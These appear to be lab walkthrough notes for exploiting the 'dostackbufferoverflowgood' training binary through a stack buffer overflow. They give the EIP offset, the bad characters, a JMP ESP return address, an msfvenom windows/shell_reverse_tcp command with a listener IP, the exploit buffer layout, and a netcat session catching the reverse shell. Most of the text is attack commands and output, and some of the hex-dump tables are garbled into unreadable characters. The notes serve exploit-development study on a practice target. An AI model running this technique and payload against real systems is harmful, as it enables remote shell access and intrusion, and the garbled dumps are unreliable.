dostackbufferoverflowgood

1. Determine min buffer size

"dostackbufferoverflowgood buffer size 140.png" is not created yet. Click to create.

2. Determine FIP

· via msf-pattern_create

```
msf-pattern_create -l 200
```

```
Registers (FPU)
EAX FFFFFFF
ECX C71D74A6
EDX 00000000
EBX 005FCB80
ESP 009D19E4 ASCII "Af0Af1Af2Af
EBP 65413765
ESI 08041470 dostackb.08041470
EDI 005FCBB0
EIP 39654138
```

- Pattern Address: 39654138
- 3. Determine offset of the pattern
 - via msf-pattern_offset

```
msf-pattern_offset -q 39654138
```

```
rootॡkali)-[~/vulnHub/dostackbufferoverflowgood]
# msf-pattern_offset -q 39654138
[★] Exact match at offset 146
```

or via mona

```
!mona findmsp -distance 200
```

- 4. Test with Bs
 - Make sure 42424242 is at EIP

5. Determine badchars

• etc Nullbyte \x00

Hex dump										
DØ	19	90	00	41	41	41	00			
41	41	41	41	42	42	42	42			
43	01	02	8	94	Ø 5	96	97			
08	09	21	21	21	ØĄ	00	41			

6. Remove \x0a

## dump ## 43 01 02 03 04 05 06 07 08 09 0B 0C 0D 0E 0F 10 11 12 13 14 15 16 17 18 19 1A 1B 1C 1D 1E 1F 20 21 22 23 24 25 26 27 28 29 2A 2B 2C 2D 2E 2F 30 31 32 33 34 35 36 37 38 39 3A 3B 3C 3D 3E 3F 40 41 42 43 44 45 46 47 48 49 4A 4B 4C 4D 4E 4F 50 51 52 53 54 55 56 57 58 59 5A 5B 5C 5D 5E 5F 60 61 62 63 64 65 66 67 70 72 73 74 75 76 77 78 79 7A 7B 7C 7D 7E 7F 80 81 82 83 84 85 86 87 88 89 8A 8B 8C 8D 8E 8F 90 91 92 93 94 95 96 97 98 99 9A 9B 9C 9D 9E 9F A0 A1 A2 A3 A4 A5 A6 A7 A8 A9 AA AB AC AD AE AF B0 B1 B2 B3 B4 B5 B6 B7 B8 B9 BA BB BC BD BE BF C0 C1 C2 C3 C4 C5 C6 C7 C8 C9 CA CB CC CD CE CF D0 D1 D2 D3 D4 D5 D6 D7 D8 D9 DA DB DC DD DE DF E0 E1 E2 E3 E4 E5 E6 E7 E8 E9 EA EB EC ED EE EF F0 F1 F2 F3 F4 F5 F6 F7 F8 F9 FA FB FC FD FE FF 0D									
43 01 02	03	04	0 5	Ø 6	07				
08 09 0E	ØC	ØD.	ØE	ØF	10				
11 12 13	14	15	16	17	18				
19 1A 1E	1C	1 D	1E	1F	20				
21 22 23	24	25	26	27	28				
29 2A 2E	2C	<u>2D</u>	2E	<u>2</u> F	30				
31 32 33	34	35	36	37	38				
39 3A 3E	30	ЗD	3F	乳	40				
41 42 43	44	45	46	4/	48				
49 4A 4E	40	<u>4</u> 2	作	<u>4</u> F	28				
57 55 55	54	55	56	24	ΣŠ				
27 28 2E	27	昶	SE.	52	58				
60 64 60	24	22	22	2/	90				
71 70 75	97	읮	毙	95	48				
75 7K 7E	47	쑮	/ 2	/ /	20				
81 82 83	áă	άĘ	άĽ	לפ	ÄÄ				
AG AA AF	ÄČ	ÄD	ÄF	ŘÉ	90				
91 92 93	94	95	96	9 7	98				
99 9A 9E	90	9Ď	9Ĕ	9É	ÃØ				
A1 A2 A3	A4	Á5	Ã6	Ã7	A8				
A9 AA AB	AC	ΑĎ	ΑĒ	AF	ВØ				
B1 B2 B3	B4	B 5	B6	B7	B8				
B9 BA BE	BC	BD	ΒE	BF	CØ				
C1 C2 C3	C4	C 5	C6	C7	C8				
C9 CA CE	CC	CD	CE	<u>CF</u>	DØ				
D1 D2 D3	3 <u>D4</u>	<u>D</u> 5	<u>D6</u>	<u>D</u> Z	<u>D8</u>				
DA DY DE	Ďζ	ĎĎ	ΒÈ	PF	ΕØ				
		ΕŞ	<u>F</u> 6	본	투성				
EA EA EE	E	탣	ËĖ	ËĘ,	F 8				
43 09 13 18 09 19 18 09 18	0014C4C4C4C4C4C4C4CACACACACACACACACACACACA	\$8555555555555555555555555555555555555	001112233344555667788899AABBCCC0DEEFFE	06/11/25/35/44/55/66/77/88/99/AABBCCCDDEEFFF	011808080808080808080808080808080808080				
F7 FA FE	ГС	Гυ			UU				

• badChars: \x00\x0a

7. Determine JMP

JMP Address must not have any of the identified badChars

```
!mona jmp -r esp

0x080414c3 : jmp esp | {PAGE_EXECUTE_READ} [dostackbufferoverflowgood.exe]
0x080416bf : jmp esp | {PAGE_EXECUTE_READ} [dostackbufferoverflowgood.exe]
```

- Return Address: 0x080416bf
- Little Endian: \xbf\x16\x04\x08
- Make sure EIP points to the selected JMP Address
 - Check bp <selected JMP Address>
- 8. Generate Shellcode

```
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.1 LPORT=4444
-b "\x00\x0a" -f python
#or
msfvenom -a x86 -p windows/shell_reverse_tcp LHOST=192.168.1.1
LPORT=4444 EXITFUNC=thread -b "\x00\x0a" -f python
```

9. Exploit

- a. offset (the number of As to reach EIP)
- b. returnAdd (EIP)
- c. NOP
- d. Shellcode

```
buffer = b"A" * offset + returnAdd + NOP + buf
```

```
(root kali)-[~/vulnHub/dostackbufferoverflowgood/dostackbufferoverflowgood]
# nc -nvlp 4444
listening on [any] 4444 ...
connect to [192.168.1.1] from (UNKNOWN) [192.168.1.83] 50080
Microsoft Windows [Version 10.0.19043.928]
(c) Microsoft Corporation. All rights reserved.
C:\Users\yf\Desktop\dostackbufferoverflowgood>
```